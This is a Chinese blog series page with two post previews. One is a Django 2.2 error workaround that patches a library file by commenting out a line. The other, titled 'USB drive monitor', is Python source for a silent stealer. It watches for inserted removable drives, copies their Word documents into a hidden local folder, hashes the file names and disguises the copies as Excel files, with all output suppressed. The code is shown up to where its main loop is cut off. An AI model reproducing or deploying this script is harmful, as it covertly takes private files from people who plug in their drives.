<!DOCTYPE html>
<html lang="en">
  <head>
  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
  <meta content="" name="keywords">

  <title> 奇淫技巧 - </title>
  <meta name="description" content="" />
  <meta property="og:title" content="奇淫技巧" />
  <meta name="twitter:title" content="奇淫技巧" />
  <meta name="author" content="{Description { .Site.Author.name }}"/>
  <meta name="twitter:card" content="summary" />
  <meta property="og:url" content="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/" />
  <meta property="og:type" content="website" />
  <meta property="og:site_name" content="听风的小站" />

  <meta name="generator" content="Hugo 0.67.0" />
  <link rel="canonical" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/" />
  <link rel="alternate" href="https://systemime.github.io/index.xml" type="application/rss+xml" title="听风的小站">
  <script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/jquery-1.12.4.min.js"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.7.1/katex.min.css" integrity="sha384-wITovz90syo1dJWVh32uuETPVEtGigN07tkttEqPv+uR2SE/mbQcG7ATL28aI9H0" crossorigin="anonymous">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" />
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  
  
  <link rel="stylesheet" href="https://systemime.github.io/css/main.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/my.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/pace.css" />
  <link rel="stylesheet" href="https://cdn.plyr.io/3.4.7/plyr.css">
  <link rel="stylesheet" href="https://systemime.github.io/css/lightgallery.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/baguetteBox.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/search.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/reward.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/share.min.css" />
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic" />
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800" />
  <link rel="stylesheet" href="https://systemime.github.io/css/pygment_highlights.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/highlight.min.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/toc.css" />
  <link rel="stylesheet" href="https://systemime.github.io/css/lightbox.css" />
  <link rel="stylesheet" href="https://systemime.github.io/live2d/css/live2d.css" />
  
  <link href="https://systemime.github.io/css/video-js.css" rel="stylesheet">


<meta name="baidu-site-verification" content="g8IYR9SNLF" />
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?cffe439e37449bb1c07ab26ab56484bb";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>

<link rel="stylesheet" href="https://systemime.github.io/css/prism.css" />









<script src="https://systemime.github.io/js/pace.min.js" data-no-instant></script>



<script src="https://systemime.github.io/js/instantclick.min.js" data-no-instant></script>
   <script data-no-instant>
   InstantClick.on('change', function(isInitialLoad) {
     if (isInitialLoad === false) {
       if (typeof MathJax !== 'undefined') 
         MathJax.Hub.Queue(["Typeset",MathJax.Hub]);
       if (typeof prettyPrint !== 'undefined') 
         prettyPrint();
       if (typeof _hmt !== 'undefined')  
         _hmt.push(['_trackPageview', location.pathname + location.search]);
       if (typeof ga !== 'undefined')  
           ga('send', 'pageview', location.pathname + location.search);
     }
   });
   InstantClick.init();
</script>




<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/gist-embed/2.7.1/gist-embed.min.js"></script>


<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<script>
  (adsbygoogle = window.adsbygoogle || []).push({
    google_ad_client: "ca-pub-3925981084585036",
    enable_page_level_ads: true
  });
</script>



<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/photoswipe/4.1.1/photoswipe.min.css" integrity="sha256-sCl5PUOGMLfFYctzDW3MtRib0ctyUvI9Qsmq2wXOeBY=" crossorigin="anonymous" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/photoswipe/4.1.1/default-skin/default-skin.min.css" integrity="sha256-BFeI1V+Vh1Rk37wswuOYn5lsTcaU96hGaI7OUVCLjPc=" crossorigin="anonymous" />



<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

<div class="pswp__bg"></div>

<div class="pswp__scroll-wrap">
    
    <div class="pswp__container">
      <div class="pswp__item"></div>
      <div class="pswp__item"></div>
      <div class="pswp__item"></div>
    </div>
    
    <div class="pswp__ui pswp__ui--hidden">
    <div class="pswp__top-bar">
      
      <div class="pswp__counter"></div>
      <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>
      <button class="pswp__button pswp__button--share" title="Share"></button>
      <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>
      <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>
      
      
      <div class="pswp__preloader">
        <div class="pswp__preloader__icn">
          <div class="pswp__preloader__cut">
            <div class="pswp__preloader__donut"></div>
          </div>
        </div>
      </div>
    </div>
    <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
      <div class="pswp__share-tooltip"></div>
    </div>
    <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
    </button>
    <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
    </button>
    <div class="pswp__caption">
      <div class="pswp__caption__center"></div>
    </div>
    </div>
    </div>
</div>

</head>

  <body>
    <nav class="navbar navbar-default navbar-fixed-top navbar-custom">
  <div class="container-fluid">
    <div class="navbar-header">
      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#main-navbar">
        <span class="sr-only">Toggle navigation</span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
      </button>
      <a class="navbar-brand" href="https://systemime.github.io">听风的小站</a>
    </div>
    <div class="collapse navbar-collapse" id="main-navbar">
      <ul class="nav navbar-nav navbar-right">
        
          
            <li>
		    <a title="博客" href="https://systemime.github.io/blog/">博客</a>
              
              
            </li>
          
        
          
            <li>
		    <a title="片刻" href="https://systemime.github.io/moment/">片刻</a>
              
              
            </li>
          
        
          
            <li>
		    <a title="关于" href="https://systemime.github.io/about/">关于</a>
              
              
            </li>
          
        
          
            <li>
		    <a title="留言" href="https://systemime.github.io/message/">留言</a>
              
              
            </li>
          
        

        

        
        
      </ul>
    </div>

    <div class="avatar-container">
      <div class="avatar-img-border">
        
      </div>
    </div>

  </div>
</nav>






    
  <header class="header-section ">
    <div class="intro-header no-img">
      <div class="container">
        <div class="row">
          <div class="col-lg-12 col-md-12 col-md-offset-0">
            <div class="page-heading">
              <h1>#奇淫技巧</h1>
              <hr class="small">
            </div>
          </div>
        </div>
      </div>
    </div>
  </header>

    
  <div class="container" role="main">
    <div class="row">
      <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
        
        <div class="posts-list">
          
            <article class="post-preview">
              <a href="https://systemime.github.io/blog/2019-04/%E8%A7%A3%E5%86%B3django2.2%E5%90%AF%E5%8A%A8-str-object-has-no-attribute-decode%E6%8A%A5%E9%94%99%E9%97%AE%E9%A2%98/">
                <h2 class="post-title">解决django2.2启动-str-object-has-no-attribute-decode报错问题</h2>

                
              </a>

              <p class="post-meta">
                Posted on April 6, 2019
              </p>
              <div class="post-entry">
                
                  <p>Django2.2报错&ndash;AttributeError: &lsquo;str&rsquo; object has no attribute &lsquo;decode'的解决方案，仅算是临时解决，所有更好的解决方案应该斟酌使用本方法</p>
<h2 id="报错信息">报错信息</h2>
<pre><code>G:\book_pulisher&gt;python manage.py runserver
Watching for file changes with StatReloader
Performing system checks...

System check identified no issues (0 silenced).
Exception in thread Thread-1:
Traceback (most recent call last):
  File &quot;C:\ProgramData\Anaconda3\lib\threading.py&quot;, line 916, in _bootstrap_inner
    self.run()
  File &quot;C:\ProgramData\Anaconda3\lib\threading.py&quot;, line 864, in run
    self._target(*self._args, **self._kwargs)
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\utils\autoreload.py&quot;, line 54, in wrapper
    fn(*args, **kwargs)
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\core\management\commands\runserver.py&quot;, line 120, in inner_run
    self.check_migrations()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\core\management\base.py&quot;, line 453, in check_migrations
    executor = MigrationExecutor(connections[DEFAULT_DB_ALIAS])
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\migrations\executor.py&quot;, line 18, in __init__
    self.loader = MigrationLoader(self.connection)
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\migrations\loader.py&quot;, line 49, in __init__
    self.build_graph()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\migrations\loader.py&quot;, line 212, in build_graph
    self.applied_migrations = recorder.applied_migrations()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\migrations\recorder.py&quot;, line 73, in applied_migrations
    if self.has_table():
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\migrations\recorder.py&quot;, line 56, in has_table
    return self.Migration._meta.db_table in self.connection.introspection.table_names(self.connection.cursor())
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\base\base.py&quot;, line 256, in cursor
    return self._cursor()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\base\base.py&quot;, line 233, in _cursor
    self.ensure_connection()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\base\base.py&quot;, line 217, in ensure_connection
    self.connect()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\base\base.py&quot;, line 197, in connect
    self.init_connection_state()
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\mysql\base.py&quot;, line 231, in init_connection_state
    if self.features.is_sql_auto_is_null_enabled:
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\utils\functional.py&quot;, line 80, in __get__
    res = instance.__dict__[self.name] = self.func(instance)
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\mysql\features.py&quot;, line 82, in is_sql_auto_is_null_enabled
    cursor.execute('SELECT @@SQL_AUTO_IS_NULL')
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\utils.py&quot;, line 103, in execute
    sql = self.db.ops.last_executed_query(self.cursor, sql, params)
  File &quot;C:\ProgramData\Anaconda3\lib\site-packages\django\db\backends\mysql\operations.py&quot;, line 146, in last_executed_query
    query = query.decode(errors='replace')
AttributeError: 'str' object has no attribute 'decode'
</code></pre><h2 id="解决方案">解决方案</h2>
<p>我使用的是anaconda python，找到** <code>C:\ProgramData\Anaconda3\Lib\site-packages\django\db\backends\mysql\operations.py</code> **</p>
<p>因为这里是报错的语句，在145行，如下</p>
<pre><code>    def last_executed_query(self, cursor, sql, params):
        # With MySQLdb, cursor objects have an (undocumented) &quot;_executed&quot;
        # attribute where the exact query sent to the database is saved.
        # See MySQLdb/cursors.py in the source distribution.
        query = getattr(cursor, '_executed', None)
        if query is not None:
            query = query.decode(errors='replace')
        return query
</code></pre><p>由此可看到，这里是一个if的判断，功能暂时不讨论，但是目前看是会触发这个if的，<code>decode</code>作为解码函数，那么可不可以直接返回，将145、146的<code>if</code>语句注释掉再尝试</p>
<pre><code>    def last_executed_query(self, cursor, sql, params):
        # With MySQLdb, cursor objects have an (undocumented) &quot;_executed&quot;
        # attribute where the exact query sent to the database is saved.
        # See MySQLdb/cursors.py in the source distribution.
        query = getattr(cursor, '_executed', None)
        # if query is not None:
        #     query = query.decode(errors='replace')
        return query
</code></pre><p>再次启动项目，成功启动</p>
<pre><code>G:\book_pulisher&gt;python manage.py runserver
Watching for file changes with StatReloader
Performing system checks...

System check identified no issues (0 silenced).
April 03, 2019 - 20:35:51
Django version 2.2, using settings 'book_pulisher.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CTRL-BREAK.
Not Found: /
[03/Apr/2019 20:35:53] &quot;GET / HTTP/1.1&quot; 404 3049
Not Found: /favicon.ico
[03/Apr/2019 20:35:53] &quot;GET /favicon.ico HTTP/1.1&quot; 404 3100
Not Found: /^publisher_list/
[03/Apr/2019 20:36:00] &quot;GET /%5Epublisher_list/ HTTP/1.1&quot; 404 3117
[03/Apr/2019 20:36:07] &quot;GET /publisher_list/ HTTP/1.1&quot; 200 7384
[03/Apr/2019 20:36:07] &quot;GET /static/dashboard.css HTTP/1.1&quot; 200 1557
[03/Apr/2019 20:36:07] &quot;GET /static/fontawesome/css/font-awesome.min.css HTTP/1.1&quot; 200 32422
[03/Apr/2019 20:36:07] &quot;GET /static/bootstrap/js/bootstrap.min.js HTTP/1.1&quot; 200 37045
[03/Apr/2019 20:36:07] &quot;GET /static/bootstrap/css/bootstrap.min.css HTTP/1.1&quot; 200 121200
[03/Apr/2019 20:36:07] &quot;GET /static/jquery-3.3.1.js HTTP/1.1&quot; 200 271751
[03/Apr/2019 20:36:07] &quot;GET /static/fontawesome/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1&quot; 200 77160
[03/Apr/2019 20:36:10] &quot;GET /book_list/ HTTP/1.1&quot; 200 7426
</code></pre><h2 id="注意">注意</h2>
<ul>
<li>仅算是临时解决，所有更好的解决方案应该斟酌使用本方法</li>
<li>不要信网上说的，把decode改为encode</li>
</ul>

                
              </div>

              
                <span class="post-meta">
                  
                    #<a href="https://systemime.github.iotags/django/">Django</a>&nbsp;
                  
                    #<a href="https://systemime.github.iotags/%E6%8A%A5%E9%94%99/">报错</a>&nbsp;
                  
                </span>
              

            </article>
          
            <article class="post-preview">
              <a href="https://systemime.github.io/blog/2019-03/u%E7%9B%98%E7%9B%91%E6%8E%A7%E8%80%85/">
                <h2 class="post-title">U盘监控者</h2>

                
              </a>

              <p class="post-meta">
                Posted on March 14, 2019
              </p>
              <div class="post-entry">
                
                  <div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="c1"># -*- coding:utf-8 -*-</span>
<span class="c1">#pyinstaller -F usermode.py</span>

<span class="kn">import</span> <span class="nn">psutil</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">shutil</span>

<span class="n">local_device</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">local_letter</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">local_number</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">local_cdrom</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">local_cdrom_letter</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">local_cdrom_number</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">mobile_device</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">mobile_letter</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">mobile_number</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">password</span><span class="o">=</span><span class="s2">&#34;gxbdb684f1b8cfdf046744ea96d9fce48469fbac305dc6aa0d6operator_pro1520391961274j4102412y5210wang&#34;</span>
<span class="k">def</span> <span class="nf">md5_passwd</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span><span class="n">salt</span><span class="p">):</span>
    <span class="kn">import</span> <span class="nn">hashlib</span>
    <span class="n">md</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">()</span>
    <span class="n">md</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="s1">&#39;jmy_123_AS*232&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>

    <span class="nb">str</span><span class="o">=</span><span class="nb">str</span><span class="o">+</span><span class="n">salt</span>
    <span class="kn">import</span> <span class="nn">hashlib</span>
    <span class="n">md</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">()</span>
    <span class="n">md</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="nb">str</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="k">def</span> <span class="nf">updata</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">local_device</span><span class="p">,</span> <span class="n">local_letter</span><span class="p">,</span> <span class="n">local_number</span><span class="p">,</span> <span class="n">mobile_device</span><span class="p">,</span> \
        <span class="n">mobile_letter</span><span class="p">,</span> <span class="n">mobile_number</span><span class="p">,</span> <span class="n">local_cdrom</span><span class="p">,</span> <span class="n">local_cdrom_letter</span><span class="p">,</span> <span class="n">local_cdrom_number</span>

    <span class="n">tmp_local_device</span><span class="p">,</span> <span class="n">tmp_local_letter</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[]</span>
    <span class="n">tmp_mobile_device</span><span class="p">,</span> <span class="n">tmp_mobile_letter</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[]</span>
    <span class="n">tmp_local_cdrom</span><span class="p">,</span> <span class="n">tmp_local_cdrom_letter</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[]</span>
    <span class="n">tmp_local_number</span><span class="p">,</span> <span class="n">tmp_mobile_number</span><span class="p">,</span> <span class="n">tmp_local_cdrom_number</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">part</span> <span class="o">=</span> <span class="n">psutil</span><span class="o">.</span><span class="n">disk_partitions</span><span class="p">()</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="c1">#print(&#34;程序发生异常!!!&#34;)</span>
        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">part</span><span class="p">)):</span>
            <span class="n">tmplist</span> <span class="o">=</span> <span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">opts</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;,&#34;</span><span class="p">)</span>
            <span class="k">if</span> <span class="s2">&#34;fixed&#34;</span> <span class="ow">in</span> <span class="n">tmplist</span><span class="p">:</span>
                <span class="n">tmp_local_number</span> <span class="o">=</span> <span class="n">tmp_local_number</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="n">tmp_local_letter</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">device</span><span class="p">[:</span><span class="mi">2</span><span class="p">])</span>
                <span class="n">tmp_local_device</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
            <span class="k">elif</span> <span class="s2">&#34;cdrom&#34;</span> <span class="ow">in</span> <span class="n">tmplist</span><span class="p">:</span>
                <span class="n">tmp_local_cdrom_number</span> <span class="o">=</span> <span class="n">tmp_local_cdrom_number</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="n">tmp_local_cdrom_letter</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">device</span><span class="p">[:</span><span class="mi">2</span><span class="p">])</span>
                <span class="n">tmp_local_cdrom</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">tmp_mobile_number</span> <span class="o">=</span> <span class="n">tmp_mobile_number</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="n">tmp_mobile_letter</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">device</span><span class="p">[:</span><span class="mi">2</span><span class="p">])</span>
                <span class="n">tmp_mobile_device</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">part</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

        <span class="n">local_device</span><span class="p">,</span> <span class="n">local_letter</span> <span class="o">=</span> <span class="n">tmp_local_device</span><span class="p">[:],</span> <span class="n">tmp_local_letter</span><span class="p">[:]</span>
        <span class="n">mobile_device</span><span class="p">,</span> <span class="n">mobile_letter</span> <span class="o">=</span> <span class="n">tmp_mobile_device</span><span class="p">[:],</span> <span class="n">tmp_mobile_letter</span><span class="p">[:]</span>
        <span class="n">local_number</span><span class="p">,</span> <span class="n">mobile_number</span><span class="p">,</span> <span class="n">local_cdrom_number</span> <span class="o">=</span> <span class="n">tmp_local_number</span><span class="p">,</span> <span class="n">tmp_mobile_number</span><span class="p">,</span> <span class="n">tmp_local_cdrom_number</span>
        <span class="n">local_cdrom</span><span class="p">,</span> <span class="n">local_cdrom_letter</span> <span class="o">=</span> <span class="n">tmp_local_cdrom</span><span class="p">[:],</span> <span class="n">tmp_local_cdrom_letter</span><span class="p">[:]</span>
    <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">part</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">print_device</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">local_device</span><span class="p">,</span> <span class="n">local_letter</span><span class="p">,</span> <span class="n">local_number</span><span class="p">,</span> <span class="n">mobile_device</span><span class="p">,</span> <span class="n">mobile_letter</span><span class="p">,</span> <span class="n">mobile_number</span><span class="p">,</span> <span class="n">local_cdrom</span><span class="p">,</span> <span class="n">local_cdrom_letter</span><span class="p">,</span> <span class="n">local_cdrom_number</span>
    <span class="c1">#print(&#34;读取到&#34; + str(n) + &#34;个驱动器磁盘&#34;)</span>

    <span class="c1">#print(&#34;-------&gt;&#34;, end=&#34;&#34;)</span>
    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">local_number</span><span class="p">):</span>
        <span class="k">pass</span>
        <span class="c1">#print(local_letter[l], end=&#34;&#34;)</span>
    <span class="c1">#print(&#34;是本地硬盘&#34;)</span>

    <span class="c1">#print(&#34;-------&gt;&#34;, end=&#34;&#34;)</span>
    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">local_cdrom_number</span><span class="p">):</span>
        <span class="c1">#print(local_cdrom_letter[l], end=&#34;&#34;)</span>
        <span class="k">pass</span>
    <span class="c1">#print(&#34;是CD驱动器&#34;)</span>

    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mobile_device</span><span class="p">):</span>
        <span class="c1">#print(&#34;-------&gt;&#34;, end=&#34;&#34;)</span>
        <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">mobile_number</span><span class="p">):</span>
            <span class="c1">#print(mobile_letter[m], end=&#34;&#34;)</span>
            <span class="c1">#print(&#34;是插入的移动磁盘...&#34;)</span>
            <span class="k">pass</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">pass</span>
    <span class="c1">#print(&#34;进程进入监听状态 &#34; + &#34;*&#34; * 10)</span>
    <span class="k">return</span>

<span class="k">def</span> <span class="nf">mkdir</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
    <span class="n">path</span><span class="o">=</span><span class="n">path</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
    <span class="n">path</span><span class="o">=</span><span class="n">path</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\\</span><span class="s2">&#34;</span><span class="p">)</span>
    <span class="n">isExists</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">isExists</span><span class="p">:</span>
        <span class="n">os</span><span class="o">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
        <span class="c1">#print(path+&#39; 创建成功&#39;)</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="c1">#print(path+&#39; 目录已存在&#39;)</span>
        <span class="k">return</span> <span class="bp">False</span>

<span class="k">def</span> <span class="nf">copy_file_to_disk_hidden</span><span class="p">(</span><span class="n">USB_path</span><span class="p">):</span>
    <span class="n">mkpath</span><span class="o">=</span><span class="s2">&#34;D:</span><span class="se">\\</span><span class="s2">tmp</span><span class="se">\\</span><span class="s2">HUSTFHNFGT</span><span class="se">\\</span><span class="s2">&#34;</span>
    <span class="n">mkdir</span><span class="p">(</span><span class="n">mkpath</span><span class="p">)</span>
    <span class="n">usb_path</span> <span class="o">=</span> <span class="n">USB_path</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\\</span><span class="s2">&#34;</span>
    <span class="n">save_path</span> <span class="o">=</span> <span class="s2">&#34;D:/tmp/HUSTFHNFGT/&#34;</span>

    <span class="k">for</span> <span class="n">fpathe</span><span class="p">,</span><span class="n">dirs</span><span class="p">,</span><span class="n">fs</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="n">USB_path</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">fs</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">f</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">:]</span><span class="o">==</span><span class="s1">&#39;doc&#39;</span><span class="p">:</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="n">aa</span><span class="p">,</span><span class="n">bb</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)</span>
                    <span class="n">bb</span><span class="o">=</span><span class="s1">&#39;xls&#39;</span>
                    <span class="n">oldname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">fpathe</span><span class="p">,</span><span class="n">f</span><span class="p">)</span>
                    <span class="n">aa</span><span class="o">=</span><span class="n">md5_passwd</span><span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="n">password</span><span class="p">)</span>
                    <span class="n">newname</span><span class="o">=</span><span class="n">save_path</span><span class="o">+</span><span class="n">aa</span><span class="o">+</span><span class="s1">&#39;.&#39;</span><span class="o">+</span><span class="n">bb</span>
                    <span class="c1">#print(newname)</span>
                    <span class="n">shutil</span><span class="o">.</span><span class="n">copyfile</span><span class="p">(</span><span class="n">oldname</span><span class="p">,</span><span class="n">newname</span><span class="p">)</span>
                <span class="k">except</span><span class="p">:</span>
                    <span class="k">continue</span>
            <span class="k">elif</span> <span class="n">f</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span><span class="o">==</span><span class="s1">&#39;docx&#39;</span><span class="p">:</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="n">aa</span><span class="p">,</span><span class="n">bb</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)</span>
                    <span class="n">bb</span><span class="o">=</span><span class="s1">&#39;xlsx&#39;</span>
                    <span class="n">oldname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">fpathe</span><span class="p">,</span><span class="n">f</span><span class="p">)</span>
                    <span class="n">aa</span><span class="o">=</span><span class="n">md5_passwd</span><span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="n">password</span><span class="p">)</span>
                    <span class="n">newname</span><span class="o">=</span><span class="n">save_path</span><span class="o">+</span><span class="n">aa</span><span class="o">+</span><span class="s1">&#39;.&#39;</span><span class="o">+</span><span class="n">bb</span>
                    <span class="c1">#print(newname)</span>
                    <span class="n">shutil</span><span class="o">.</span><span class="n">copyfile</span><span class="p">(</span><span class="n">oldname</span><span class="p">,</span><span class="n">newname</span><span class="p">)</span>
                <span class="k">except</span><span class="p">:</span>
                    <span class="k">continue</span>


<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
    <span class="n">now_number</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">before_number</span> <span class="o">=</span> <span class="n">updata</span><span class="p">()</span>
    <span class="c1">#print(&#34;=&#34; * 50 + &#34;\n此刻时间是: &#34; + str(datetime.now()))</span>
    <span class="c1">#print_device(before_number)</span>

    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">now_number</span> <span class="o">=</span> <span class="n">updata</span><span class="p">()</span>
